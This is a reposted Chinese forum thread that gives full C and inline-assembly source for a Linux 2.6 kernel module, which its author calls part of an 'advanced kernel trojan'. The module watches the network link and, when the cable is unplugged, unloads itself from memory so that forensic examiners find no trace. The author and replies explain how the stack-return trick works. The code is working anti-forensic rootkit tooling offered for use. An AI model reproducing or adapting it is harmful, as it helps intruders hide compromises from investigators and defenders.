[转载]module_auto_unload anti-forensic part 1
信息来源:[url]http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&Number=525551&page=0&view=collapsed&sb=5&o=31&fpart=[/url]coolq
/*********************************************
* Name : module_auto_unload.c (PoC) Part1 *
* Ver : 0.0.1 *
* Author: CoolQ *
* Aim : Part of advanced kernel trojan, *
* anti-forensic, cool :P *
* Usage : insmod the ko, then unplug the *
* network wire, you got what? :-) *
* Notice: I try this code in RedHat FC2 *
* based on custom 2.6.5 kernel, but *
* in 2.6.8 kernel, something is *
* different, you have to free *
* kobject-specified items! *
********************************************/
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/errno.h>
#include <linux/timer.h>
#include <linux/workqueue.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/netdevice.h>
#include <linux/ethtool.h>
#define DEBUG
#define DEBUGP printk
#define INTERVAL 2
static struct timer_list my_timer;
static void (*func)(void *, void *, void*,
void (*)(void *), void (*)(const void *),
int (*)(const char *fmt, ...) );
static struct net_device *mydev;
static char *interface = "eth0";
#ifdef CONFIG_MODULE_FORCE_UNLOAD
static inline int try_force(unsigned int flags)
{
int ret = (flags & O_TRUNC);
if (ret)
tainted |= TAINT_FORCED_MODULE;
return ret;
}
#else
static inline int try_force(unsigned int flags)
{
return 0;
}
#endif
/*******************************************************
* I have say sth about this func. If the text section *
* is freed(vfree), the next instruction can't be *
* accessed. So we have to copy this free section code *
* , let the copied code do the job. Yes, memory leak- *
* age DO EXIST! In the copied code, everything needs *
* to be relocated, but I haven't known the reason *
* about kernel symbol such as printk, vmalloc, ... *
* in insmod process, the relocation should be over, *
* but I have to transfer func pointers. *
* TODO: find a workaround, no code copy *
* ****************************************************/
/* Free a module, remove from lists, etc (must hold module mutex). */
static void free_module(void *module_init, void *args, void * module_core,
void (*orig_vfree)(void *), void (*orig_kfree)(const void *),
void (*pk)(const char *fmt, ...))
{
/* This may be NULL, but that's OK */
#ifdef DEBUG
pk("module_init = 0x%p\n", module_init);
pk("args = 0x%p\n", args);
pk("module_core = 0x%p\n", module_core);
#endif
orig_vfree(module_init);
orig_kfree(args);
/* It's a PoC, so I do some trim (comment some part), */
/* do some change as you wish */
//if (mod->percpu)
// percpu_modfree(mod->percpu);
/* Finally, free the core (containing the module structure) */
orig_vfree(module_core);
/* from now on, you can't use module vars */
__asm__ __volatile__ (
"1:\t pop %ecx \n\t"
"cmpl $0x12345678, %ecx \n\t"
"jne 1b \n\t"
"popal \n\t"
// "add $8, %esp\n\t" /* this will be discussed later */
"ret \n\t"
);
}
asmlinkage long
delete_module(void)
{
struct module *mod;
int ret, forced = 0;
ret = 0;
mod = THIS_MODULE; /* I wanna unload myself */
if (!mod) {
ret = -ENOENT;
goto out;
}
/* Doing init or already dying? */
if (mod->state != MODULE_STATE_LIVE) {
/* FIXME: if (force), slam module count and wake up
waiter --RR */
DEBUGP("%s already dying\n", mod->name);
ret = -EBUSY;
goto out;
}
/* If it has an init func, it must have an exit func to unload */
if ((mod->init != init_module && mod->exit == cleanup_module)
|| mod->unsafe) {
forced = try_force(0);
if (!forced) {
/* This module can't be removed */
ret = -EBUSY;
goto out;
}
}
/* Set this up before setting mod->state */
mod->waiter = current;
/* Final destruction now none is using it. */
mod->exit();
/* Delete from various lists */
list_del(&mod->list);
func(mod->module_init, mod->args, mod->module_core,
vfree, kfree, printk);
out:
return ret;
}
void unload_me(void)
{
/* following is a trick , so free_module can get out of */
/* unload_me directly, 0x12345678 is a magic number, */
/* help the asm code in free_module find the correct ret*/
/* addr, pushal & popal save & restore all the regs */
/* so the direct return have no side effects */
__asm__ __volatile__ (
"pushal \n\t"
"push $0x12345678 \n\t"
);
delete_module();
return;
}
void timer_func(unsigned long ptr)
{
u32 ret;
ret = mydev->ethtool_ops->get_link(mydev); /* get link status */
if(!ret){
/* if the link is down, unload the module */
/* so no one sees your dirty work :P */
DECLARE_WORK(mywork, unload_me, NULL);
schedule_work(&mywork);
return;
}
my_timer.expires = jiffies + INTERVAL * HZ;
add_timer(&my_timer);
return;
}
static int dummy_init(void)
{
mydev = dev_get_by_name(interface);
init_timer(&my_timer);
my_timer.function = timer_func;
my_timer.expires = jiffies + INTERVAL * HZ;
add_timer(&my_timer);
/* copy the free code section , here EXISTS memory leakage, */
/* (only several bytes). we can't find way to kfree this */
func = kmalloc((unsigned long)delete_module - (unsigned long)free_module,GFP_KERNEL);
memcpy(func, free_module, (unsigned long)delete_module - (unsignedlong)free_module);
#ifdef DEBUG
printk("the unload_me is at 0x%p\n", unload_me);
printk("the copied func is at 0x%p\n", func);
#endif
return 0;
}
static void dummy_exit(void)
{
del_timer(&my_timer);
return;
}
module_init(dummy_init);
module_exit(dummy_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("[email]qufuping@ercist.iscas.ac.cn[/email]");
这个小程序主要是针对法律取证的,如果网线被拔掉,木马可以自动将自己卸载,不留痕迹。
该模块会定期检查网卡状态(通过计时器),这个很简单。麻烦的是模块如何将自己卸载。
首先,不能使用系统调用,因为你自己提供的模块名是位于内核地址的,copy_from_user时不通过。
第二,如果程序运行vfree, kfree, vfree的过程,运行完毕,内核所在的空间已释放,vfree后的
代码将无法执行,不要以为vfree是函数的最后一行程序,其实汇编里还有很多后序的代码,还有
多个函数的调用。
第三,我们可以将整个代码段都复制一份,但是这里又牵扯到符号重定位的问题,如果对若干个
函数都重定位,需要的函数都需要通过指针传递,工作量比较大。
因此,我们只复制free_module函数的代码部分,但是程序的返回又出了问题,因为别的函数空间
都已释放,free_module不能简单的返回到它的被调用者delete_module, 需要找一种方法直接返回
调用unload_me的地方。这里使用了一个小技巧,在unload_me一开始,将所有的寄存器保存,然后
设置一个magic number,这样在free_module需要返回的时候,将栈内的数据一个一个弹出,判断是
不是magic number,如果是,接下来将所有的寄存器恢复,然后ret就可以了。
至于//"add $8, %esp\n\t" /* this will be discussed later */这一行,还需要解释一下:
2.6内核编译的时候,
HOSTCFLAGS = -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer
因此,-fomit-frame-pointer是不应该有frame pointers。
而unload_me里也没有任何临时变量,因此
objump -j .text -d hide.ko
00000187 <unload_me>:
187: 60 pusha
188: 68 78 56 34 12 push $0x12345678
18d: e8 fc ff ff ff call 18e <unload_me+0x7>
192: c3 ret
如果delete_module参数不是void,而是有别的参数,由于编译器的原因,
会在pusha前面设置sub $8, %esp,虽然也没有临时变量,这一步也没什么用。
对于这种情况,你需要在free_module里add $8, %esp
madsys
注意要是编译时有栈帧,free_module最后的处理代码中,在ret前要加leave.
coolq
似乎是这儿的问题,光顾着看根目录下的Makefile了,忘记了子目录地下的Makefile可以覆盖掉原来的设置。我说怎么明明看见Makefile里有-fomit-frame-pointer却编译出来没有frame pointer
页:
[1]